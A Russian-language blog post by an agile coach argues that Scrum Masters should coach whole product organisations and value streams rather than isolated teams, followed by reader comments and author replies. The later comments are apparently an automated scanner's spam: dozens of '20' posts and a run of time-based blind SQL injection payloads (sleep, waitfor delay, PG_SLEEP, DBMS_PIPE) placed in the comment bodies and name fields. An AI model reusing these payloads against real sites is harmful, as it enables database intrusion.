Или всё, что вы хотели знать о Скрам-мастере, но боялись спросить.
Бисексуальность удваивает ваши шансы на свидание в субботний вечер.
Вуди Аллен
Мне часто задают вопрос: “Ты работаешь Скрам-мастером или agile-коучем”? Слишком часто. А после того, как я сообщаю о том, что работаю независимым agile-коучем, уточняют, работаю ли я как “agile-коуч, “на уровне организации” , или (я так понимаю, имеется в виду “простым смертным” ) Agile-коучем? В таких случаях я тихо ухожу вдаль.
Расскажу вам об одном недавнем случае. Ездил я как-то на open space конференцию (они ещё бывают называются “unconference”, но по-русски это звучит смешно), на которой матёрые agile-тренеры пытались проранжировать все виды agile-коучей: от фасилитатора команды (он же “коуч без власти”) до agile-коуча на уровне организации (он же “agile бог”). Скажем так, дискуссия не задалась.
Но вот кто обожает играть с этими терминами, так это компании, выдающие сертификаты. Только представьте себе, что они могут продать “обычному” agile фасилитатору команды (мальчику на agile-побегушках) лучшую версию себя - такого себе супер-пупер-эпик-убернагибатора-эльфа-120-уровня-agile-коуча. Ему нужно только заплатить вот туда и получить хрустящую бумажку с печатью и красивой голограммкой...
Не думаю, что разделение на подобные уровни - хорошая идея. Вообще-то, честно, это весьма плохая идея. Несмотря на то, что, безусловно, есть определённый путь (или пути) самосовершенствования, который каждый нас проходит за время развития в профессии, формальное разделение на уровни agile-коучей уже приносит индустрии больше вреда, чем пользы.
Но фабрики по выдачи сертификатов уже давно печатают сертификаты и их не остановить, так что я не буду бороться с ветряными мельницами. Поэтому я пойду в обход и попытаюсь донести до вас, милый человек, почему это раздвоение личности (фасилитатор команды против Enterprise agile-коуча) не приносит никакой пользы.
Кстати, о ценности...
Потоки ценности
"Scrum helped us to suck less"
Источник неизвестен
Скрам – это фреймворк для разработки и поддержки функционально сложных продуктов. В основе Scrum (как в и любого другого Agile фреймворка) лежит идея постоянно действующего процесса улучшений, нацеленного на увеличение поставляемой ценности заказчикам как можно быстрее.
Упрощенная схема процесса поставки ценности от идеи у кого-то в голове до кеша на счету компании (также известный как “поток ценности”) в самом простом виде выглядит как-то так:
В реальной жизни, конечно, поток ценности будет выглядеть не так радужно; будут какие-то препятствия, узкие места, задержки, очереди, буферы и прочий кошмар. И всё может усложниться до состояния, близкого к примеру ниже (картинка из статьи Систематизирование Потока Ценности):
Но, в чистом остатке, это всё-равно поток ценности, который, я надеюсь, сквозь все препятствия доходит до конечного заказчика.
Вот почему целью любого agile фреймворка для разработки продуктов (как, например, Scrum) является контролирование (в лучшем случае минимизация) сложности процессов разработки. Это позволяет сфокусироваться на действительно важной вещи - оптимизации потока поставки ценности. Так что, если исходить из этого постулата, главная задача agile-коуча - помощь организации (и её лидерам) в определении потоков ценности и их улучшении … постоянном улучшении.
И, чтобы не быть голословным, приведу вам пример из последнего отчёта State of Agile, который подтверждает, что 60% организаций, переходящих на гибкие методологии, ставят перед собой цель ускорить выпуск своих продуктов.
Стало быть, “просто коучить команды разработки” недостаточно
"Если ваш проект задерживается, вам следовало его раньше начать."
Том ДеМарко и Тимоти Листер, "Вальсируя с медведями"
Постоянное ускорение разработки продуктов и невозможно, если вы работаете только с командами разработки. Разве что они - бесконечный источник проблем, решение которых ускоряет выпуск продуктов, но это, конечно, маловероятно.
Так что, если мы хотим реально ускорить наш поток, - нам нужно держать в уме весь поток и работать на всём его протяжении. Если конкретнее, то нам нужно будет вовлечься намного раньше разработки - на этапе генерации и отбора идей продуктов и фич; во время ранней валидации и отсеивания идей; и на этапах, следующих за разработкой: деплоймент, поддержка и прочее.
К сожалению, я часто вижу примеры Скрам-мастеров, которых организационные структуры загоняют в рамки работы только с процессами разработки. Эти “угнетённые” agile-коучи не имеют полномочий для улучшения потока. Они совершенствуют процесс разработки, как будто это единственное звено в цепочке ... Хотя, конечно же, работать уже давно следует с другими узкими местами потока.
И хотя работа с командами разработки очень интересная и вдохновляющая (и требует не только невероятного запаса эмпатии, терпения и самоанализа, но также и глубоких знаний природы разработки программного обеспечения), этого не достаточно, как бы прискорбно это не звучало. Придётся произнести вслух то, что мы и так давно знали: оптимизация не самой проблемной части процесса не произведёт никакого эффекта на систему. Это пустая трата сил и времени.
Water-Scrum-Fall или Страшный сон аджалиста
Мы используем Скрам в разработке программного обеспечения, но, так как наши команды разработки не контролируют весь процесс создания ПО, то релизами занимаются команда “опсов”. Я коучу команду разработки. А у них там другой коуч, вроде как, они там работают по Канбану” - я слышал подобное, и это меня очень расстраивает.
Динамика таких организаций весьма занимательна (для постороннего наблюдателя на безопасной дистанции). В компании так или иначе проходят улучшения и оптимизации, но так как никто не видит полной картины (и не заинтересован в её улучшении), такая организация - музей локальных оптимизаций и ничего не меняющих компромиссов.
Неудивительно, что некоторые организации вообще упраздняют роль Скрам-мастера. Эта роль и правда не приносит пользы в организации, где никто не работает над целостной картиной. Там улучшения незаметны, и эта роль, естественно, становится просто лишней статьёй расходов. В таких организациях эта роль даже может вредить, так как количество конфликтов и уровень недовольства работой возрастают из-за разницы между возможностями и реалиями. И такие случаи - не редкость. Скрам-мастеров увольняют то тут, то там. И упраздняют как касту.
Дескать, “эта роль не приносит ценности”. Конечно ничего она приносить не будет, если её ограничить “фасилитацией в проведении командных встреч”.
Scrum-мастер = Agile-коуч для продуктовых организаций
Видеть, понимать и оптимизировать целостную систему (не её отдельные компоненты), исследовать динамику системы. Избегать фокусировки на мелочах и частностях, не заниматься повышением “эффективности” и “продуктивности” отдельных людей или команд. Клиенты заинтересованы в общем цикле “под ключ”, не в отдельных шагах.
Так что, если вы заинтересованы в получении настоящих системных улучшений (а не в чем-то эфемерном, как, например, повышении велосити команд), вам нужно в корне пересмотреть своё понимание работы Scrum-мастеров. Они должны работать со всей продуктовой организацией. Иначе, как сказал Тобайас Мейер: "Удалить Скрам-мастера".
Есть и хорошая новость: на самом деле нет никакой необходимости выбирать между фасилитацией команд и коучингом организаций, пытаясь описать задачи настоящего Скрам-мастера. Это не противополжные вещи, не “или-или”. “Это ложная дихотомия” - так говорит Крег Ларман, объясняя Large-Scale Scrum.
Вместо того, чтобы приставлять Скрам-мастеров к конкретным командам (тогда у них не будет достаточного понимания целостной картины) и запускать agile-коучей в стратосферу (они тогда отрываются от реалий работы организации), попробуйте представить свою компанию как набор отдельных продуктовых организаций (разделённую по потокам поставки ценности заказчикам или, просто говоря, разделите компанию по продуктам). Тогда, соответственно, Scrum-мастера могут работать группами внутри этих продуктовых организаций, каждый с несколькими командами, фокусируясь и коуча отдельный поток “от А и до Я”.
Этим новообразованным командам и продуктовым организациям в первое время потребуется больше коучинга на уровне команд (командная фасилитация). Но со временем у Скрам-мастеров будет появляться время и необходимость работать и с другими частями процесса, переходя от одного узкого места к другому - как показано на картинке ниже.
Чтение “для души”: Описание роли Scrum-мастера с точки зрения целостного продукта.
Write a comment
Mariia (Friday, 09 June 2017 13:47)
При разделении команд на продуктовые команды, как избежать интерпретирования "продукта" как "компоненты".
Не противоречит ли разбиение на продукты масштабируемости? Кажется, что наоборот, нужно все результаты команд заинтегрировать и выдавать один конечный продукт в результате, разве нет?
Я говорю от имени продуктовой, энтерпрайзной компании, с 10+ скрам командами.
Alexey Krivitsky (Thursday, 13 July 2017 23:39)
Mariia,
Спасибо за ваш комментарий.
> При разделении команд на продуктовые команды, как избежать
> интерпретирования "продукта" как "компоненты".
Если вы смотрите на продукт с точки зрения конечного пользователя и его нужд (customer value), либо же с точки зрения целей бизнеса (business value) - у вас нет шансов спутать компоненту и продукт!
Alexey Krivitsky (Thursday, 13 July 2017 23:43)
Mariiia
Вы пишете:
> Не противоречит ли разбиение на продукты масштабируемости?
> Кажется, что наоборот, нужно все результаты команд заинтегрировать
> и выдавать один конечный продукт в результате, разве нет?
Кажется, что разбив масштабный продукт (к примеру, как ERP) на множество под-продуктов, мы масштабируем управляемость. Но это ложное ощущение. Ведь, чем больше под-продуктов, тем больше зависимостей и меньше понимания целого. Это приводит к локальным оптимизациям частей, вместо оптимизации целого.
Сведение частей продукта в единый продукт позволяет управлять им с большего уровня абстракции и оптимизировать целое.
Aziza Shukurova (Tuesday, 27 March 2018 13:21)
Добрый день. Возник вопрос. скрам мастер, но при этом я так же и член команды разработки,т.е. идет совмещение. Возможно ли вообще такое совмещение ролей по скраму?
ZMskyuza (Wednesday, 26 October 2022 16:50)
20
ZMskyuza (Wednesday, 26 October 2022 16:52)
20
ZMskyuza (Wednesday, 26 October 2022 16:52)
20
ZMskyuza (Wednesday, 26 October 2022 16:53)
20
ZMskyuza (Wednesday, 26 October 2022 16:54)
20
ZMskyuza (Wednesday, 26 October 2022 16:55)
20
ZMskyuza (Wednesday, 26 October 2022)
20
ZMskyuza (Wednesday, 26 October 2022 16:56)
20
ZMskyuza (Wednesday, 26 October 2022 16:57)
20
ZMskyuza (Wednesday, 26 October 2022 16:58)
20
ZMskyuza (Wednesday, 26 October 2022 16:59)
20
ZMskyuza (Wednesday, 26 October 2022 16:59)
20
ZMskyuza (Wednesday, 26 October 2022 17:00)
20
ZMskyuza (Wednesday, 26 October 2022 17:01)
20
ZMskyuza (Wednesday, 26 October 2022 17:01)
20
ZMskyuza (Wednesday, 26 October 2022 17:02)
20
ZMskyuza (Wednesday, 26 October 2022 17:03)
20
ZMskyuza (Wednesday, 26 October 2022 17:04)
20
ZMskyuza (Wednesday, 26 October 2022 17:04)
20
ZMskyuza (Wednesday, 26 October 2022 17:05)
if(now()=sysdate(),sleep(15),0)
ZMskyuza (Wednesday, 26 October 2022 17:06)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ZMskyuza (Wednesday, 26 October 2022 17:07)
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ZMskyuza (Wednesday, 26 October 2022 17:08)
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ZMskyuza (Wednesday, 26 October 2022 17:08)
-1; waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 17:09)
-1); waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 17:10)
1 waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 17:10)
ZYqjSIZ9'; waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 17:11)
-5 OR 260=(SELECT 260 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 17:12)
-5) OR 840=(SELECT 840 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 17:13)
-1)) OR 455=(SELECT 455 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 17:13)
UwYHq9UP' OR 872=(SELECT 872 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 17:14)
yxlwOSNv') OR 674=(SELECT 674 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 17:15)
P7yC8mww')) OR 222=(SELECT 222 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 17:16)
20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ZMskyuza (Wednesday, 26 October 2022 17:17)
20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ZMskyuza (Wednesday, 26 October 2022 17:18)
20
ZMskyuza (Wednesday, 26 October 2022 17:18)
20
ZMskyuza (Wednesday, 26 October 2022 17:19)
20
ZMskyuza (Wednesday, 26 October 2022 17:20)
20
ZMskyuza (Wednesday, 26 October 2022 17:21)
20
ZMskyuza (Wednesday, 26 October 2022 17:21)
20
ZMskyuza (Wednesday, 26 October 2022 17:22)
20
ZMskyuza (Wednesday, 26 October 2022 17:23)
20
ZMskyuza (Wednesday, 26 October 2022 17:24)
20
ZMskyuza (Wednesday, 26 October 2022 17:24)
20
ZMskyuza (Wednesday, 26 October 2022 17:25)
20
ZMskyuza (Wednesday, 26 October 2022 17:26)
20
ZMskyuza (Wednesday, 26 October 2022 17:27)
20
ZMskyuza (Wednesday, 26 October 2022 17:27)
20
ZMskyuza (Wednesday, 26 October 2022 17:28)
20
ZMskyuza (Wednesday, 26 October 2022 17:29)
20
ZMskyuza (Wednesday, 26 October 2022 17:30)
20
ZMskyuza (Wednesday, 26 October 2022 17:31)
20
ZMskyuza (Wednesday, 26 October 2022 17:32)
20
ZMskyuza (Wednesday, 26 October 2022 17:33)
20
ZMskyuza (Wednesday, 26 October 2022 17:34)
20
ZMskyuza (Wednesday, 26 October 2022 17:35)
20
ZMskyuza (Wednesday, 26 October 2022 17:36)
20
ZMskyuza (Wednesday, 26 October 2022 17:37)
20
ZMskyuza (Wednesday, 26 October 2022 17:38)
20
ZMskyuza (Wednesday, 26 October 2022 17:38)
20
ZMskyuza (Wednesday, 26 October 2022 17:39)
20
ZMskyuza (Wednesday, 26 October 2022 17:40)
20
ZMskyuza (Wednesday, 26 October 2022 17:41)
20
ZMskyuza (Wednesday, 26 October 2022 17:42)
20
ZMskyuza (Wednesday, 26 October 2022 17:42)
20
ZMskyuza (Wednesday, 26 October 2022 17:43)
20
ZMskyuza (Wednesday, 26 October 2022 17:59)
20
ZMskyuza (Wednesday, 26 October 2022 18:00)
20
if(now()=sysdate(),sleep(15),0) (Wednesday, 26 October 2022 18:01)
20
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z (Wednesday, 26 October 2022 18:02)
20
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z (Wednesday, 26 October 2022 18:02)
20
1 waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 18:04)
20
DYe4knyE'; waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 18:05)
20
zfRPru1I' OR 226=(SELECT 226 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 18:05)
20
HYKgitRn') OR 479=(SELECT 479 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 18:06)
20
1irqOlod')) OR 722=(SELECT 722 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 18:07)
20
ZMskyuza'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' (Wednesday, 26 October 2022 18:08)
20
ZMskyuza (Wednesday, 26 October 2022 18:09)
20
ZMskyuza (Wednesday, 26 October 2022 18:09)
20
ZMskyuza (Wednesday, 26 October 2022 18:10)
20
ZMskyuza (Wednesday, 26 October 2022 18:11)
20
ZMskyuza (Wednesday, 26 October 2022 18:12)
20
ZMskyuza (Wednesday, 26 October 2022 18:13)
20
ZMskyuza (Wednesday, 26 October 2022 18:14)
20
ZMskyuza (Wednesday, 26 October 2022 18:14)
20
ZMskyuza (Wednesday, 26 October 2022 18:15)
20
ZMskyuza (Wednesday, 26 October 2022 18:16)
20
ZMskyuza (Wednesday, 26 October 2022 18:17)
20
ZMskyuza (Wednesday, 26 October 2022 18:18)
20
ZMskyuza (Wednesday, 26 October 2022 18:19)
20
ZMskyuza (Wednesday, 26 October 2022 18:19)
20
ZMskyuza (Wednesday, 26 October 2022 18:20)
20
ZMskyuza (Wednesday, 26 October 2022 18:21)
20
ZMskyuza (Wednesday, 26 October 2022 18:22)
20
ZMskyuza (Wednesday, 26 October 2022 18:23)
20
ZMskyuza (Wednesday, 26 October 2022 18:24)
20
ZMskyuza (Wednesday, 26 October 2022 18:25)
20
ZMskyuza (Wednesday, 26 October 2022 18:26)
20
ZMskyuza (Wednesday, 26 October 2022 18:27)
20
ZMskyuza (Wednesday, 26 October 2022 18:28)
20
ZMskyuza (Wednesday, 26 October 2022 18:29)
20
ZMskyuza (Wednesday, 26 October 2022 18:30)
20
ZMskyuza (Wednesday, 26 October 2022 18:31)
20
ZMskyuza (Wednesday, 26 October 2022 18:32)
20
ZMskyuza (Wednesday, 26 October 2022 18:32)
20
ZMskyuza (Wednesday, 26 October 2022 18:33)
20
ZMskyuza (Wednesday, 26 October 2022 18:34)
20
ZMskyuza (Wednesday, 26 October 2022 18:36)
20
ZMskyuza (Wednesday, 26 October 2022 18:37)
20
ZMskyuza (Wednesday, 26 October 2022 18:38)
20
ZMskyuza (Wednesday, 26 October 2022 18:39)
20
ZMskyuza (Wednesday, 26 October 2022 18:40)
20
ZMskyuza (Wednesday, 26 October 2022 18:41)
20
ZMskyuza (Wednesday, 26 October 2022 18:42)
20
ZMskyuza (Wednesday, 26 October 2022 18:43)
20
ZMskyuza (Wednesday, 26 October 2022 18:44)
20
ZMskyuza (Wednesday, 26 October 2022 18:45)
20
ZMskyuza (Wednesday, 26 October 2022 18:46)
20
ZMskyuza (Wednesday, 26 October 2022 18:47)
20
ZMskyuza (Wednesday, 26 October 2022 18:48)
20
ZMskyuza (Wednesday, 26 October 2022 18:49)
20
ZMskyuza (Wednesday, 26 October 2022 18:50)
20
ZMskyuza (Wednesday, 26 October 2022 18:51)
20
ZMskyuza (Wednesday, 26 October 2022 18:52)
20
ZMskyuza (Wednesday, 26 October 2022 18:52)
20
ZMskyuza (Thursday, 27 October 2022 01:00)
20
ZMskyuza (Thursday, 27 October 2022 02:06)
20